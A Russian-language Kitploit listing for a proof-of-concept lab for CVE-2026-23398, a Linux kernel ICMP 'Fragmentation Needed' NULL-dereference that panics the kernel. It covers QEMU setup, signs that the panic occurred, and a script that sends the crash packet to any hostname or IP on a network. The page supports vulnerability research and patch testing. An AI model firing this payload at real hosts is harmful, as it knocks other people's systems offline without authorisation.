cve-2026-23398-poc — Воспроизводимый лабораторный стенд для CVE-2026-23398 — разыменования NULL-указателя в ядре Linux в функции icmp_tag_validation(), вызываемого ICMP-пакетами Fragmentation Needed, что приводит к отказу в обслуживании. Включает настройку виртуальной машины QEMU, PoC на Scapy и скрипты для тестирования пропатченного и уязвимого ядер. | Kitploit

├── send_frag_needed.py          # PoC на Scapy (ICMP 3,4 + внутренний IP с необычным протоколом)
├── send-payload-to-host.sh      # Отправка полезной нагрузки на IP/имя хоста в вашей сети
├── docker-compose.yml           # Сервис «sender» (сеть host + CAP_NET_RAW)
├── Dockerfile
├── vm/                          # Диски, cloud-init seed, последовательные журналы QEMU
└── scripts/
    ├── fetch-image.sh
    ├── prepare-disk.sh
    ├── build-seed-dhcp.sh       # DHCP seed (режим usernet)
    ├── build-seed.sh            # Статический seed 192.168.76.2 (режим TAP)
    ├── vm-start-usernet.sh      # QEMU + пользовательская сеть (SSH-порт 2222)
    ├── vm-stop-usernet.sh
    ├── vm-start.sh / vm-stop.sh # QEMU + TAP (после tap-up.sh)
    ├── tap-up.sh / tap-down.sh  # TAP-интерфейс на хосте (sudo)
    ├── run-lab-usernet.sh       # Полный процесс: образ + ВМ + Scapy на гостевой системе (свежее ядро)
    ├── run-lab.sh               # Процесс TAP + docker sender → 192.168.76.2
    ├── install-vulnerable-mainline.sh  # Непропатченное mainline 6.12 + PoC через veth (panic)
    └── poc-veth-netns.sh        # Запуск *внутри* гостевой системы (veth + netns)

cd /path/to/repo
chmod +x scripts/*.sh send-payload-to-host.sh

# Первый запуск: загрузка облачного образа Ubuntu Noble, overlay, seed, запуск QEMU, SSH :2222, apt, PoC
./scripts/run-lab-usernet.sh

# ВМ usernet запущена (или после того, как run-lab-usernet создал её один раз)
./scripts/vm-start-usernet.sh   # если ещё не запущена

./scripts/install-vulnerable-mainline.sh

Сигнал	Panic произошёл (ожидаемо на уязвимой 6.12)	Panic не произошёл
SSH сразу после «Running PoC …»	Зависает или `Connection timed out` / `Connection reset`	Сессия продолжает работать; вы получаете shell
Вывод `send_frag_needed.py`	Вы должны увидеть `. Sent 1 packets.` до того, как SSH умрёт (часто обрезается, если соединение падает немедленно)	`Install Scapy: pip install scapy` → Scapy отсутствовал в гостевой системе; ICMP так и не был отправлен. Повторно запустите `install-vulnerable-mainline.sh` (он устанавливает `python3-scapy`) или выполните `sudo apt install -y python3-scapy` на виртуальной машине и запустите PoC снова
Последовательный журнал	`tail -f vm/serial-usernet.log` показывает `Kernel panic`, `icmp_unreach`, `CR2: 0000000000000010` и т. д.	Строк panic нет; гостевая система продолжает работать
Процесс QEMU	Всё ещё работает, но гостевая ОС мертва до перезагрузки	Гостевая система по-прежнему отвечает на порту 2222

./scripts/vm-stop-usernet.sh
rm -f vm/victim.qcow2
./scripts/prepare-disk.sh
./scripts/build-seed-dhcp.sh
./scripts/vm-start-usernet.sh
# необязательно: переустановить пакеты / повторно запустить install-vulnerable-mainline.sh

./scripts/tap-up.sh              # sudo: создаёт icmp-lab-tap0
./scripts/prepare-disk.sh
./scripts/build-seed.sh          # статическая адресация в cloud-init
./scripts/vm-start.sh
./scripts/wait-ssh.sh 192.168.76.2

# На ВМ: sysctl -w net.ipv4.ip_no_pmtu_disc=3 и уязвимое ядро, если нужен panic

docker compose build
docker compose run --rm sender 192.168.76.2

chmod +x send-payload-to-host.sh
docker compose build    # один раз

./send-payload-to-host.sh 192.168.1.50
./send-payload-to-host.sh myserver.lan --inner-proto 253 --nexthop-mtu 1200

Переменная	Описание
`ICMP_LAB_TAP`	Имя TAP-устройства (по умолчанию `icmp-lab-tap0`)
`ICMP_LAB_HOST_IP`	Адрес хоста на TAP (по умолчанию `192.168.76.1/24`)
`ICMP_LAB_SSH_PORT`	SSH-порт usernet (по умолчанию `2222`)
`ICMP_LAB_SSH_HOST`	SSH-хост (по умолчанию `127.0.0.1`)

Цель	Команда
Первый запуск лаборатории usernet	`./scripts/run-lab-usernet.sh`
Запуск / остановка ВМ usernet	`./scripts/vm-start-usernet.sh` / `./scripts/vm-stop-usernet.sh`
Уязвимое ядро + PoC (panic)	`./scripts/install-vulnerable-mainline.sh`
Сброс диска после panic	`rm -f vm/victim.qcow2 && ./scripts/prepare-disk.sh && ./scripts/build-seed-dhcp.sh`
Полезная нагрузка на IP/хост в LAN	`./send-payload-to-host.sh <IP\|hostname>`
Сборка образа Docker-отправителя	`docker compose build`

QEMU (`qemu-system-x86_64`, `qemu-img`)	Виртуальная машина-жертва
cloud-image-utils (`cloud-localds`), wget, genisoimage	Cloud-init и загрузка образа
Docker + Docker Compose	Отправитель ICMP с хоста (режим сети `host`)
Клиент OpenSSH	Автоматизация по SSH
SSH-ключ в `~/.ssh/id_ed25519.pub` или `id_rsa.pub`, или sshpass	Вход в гостевую систему без ввода пароля (рекомендуются ключи)
sudo	Только для режима TAP (ICMP с хоста на фиксированный IP виртуальной машины)

cve-2026-23398-poc

Популярное

Описание

Структура репозитория

Режим A — Полная лаборатория QEMU (пользовательская сеть, без TAP)

Режим B — Уязвимое ядро + воспроизводимый panic

Как понять, что сработало

Режим C — ICMP с хоста на ВМ (TAP)

Полезная нагрузка на машину в вашей сети

Переменные окружения

Ссылки

Краткая справка по командам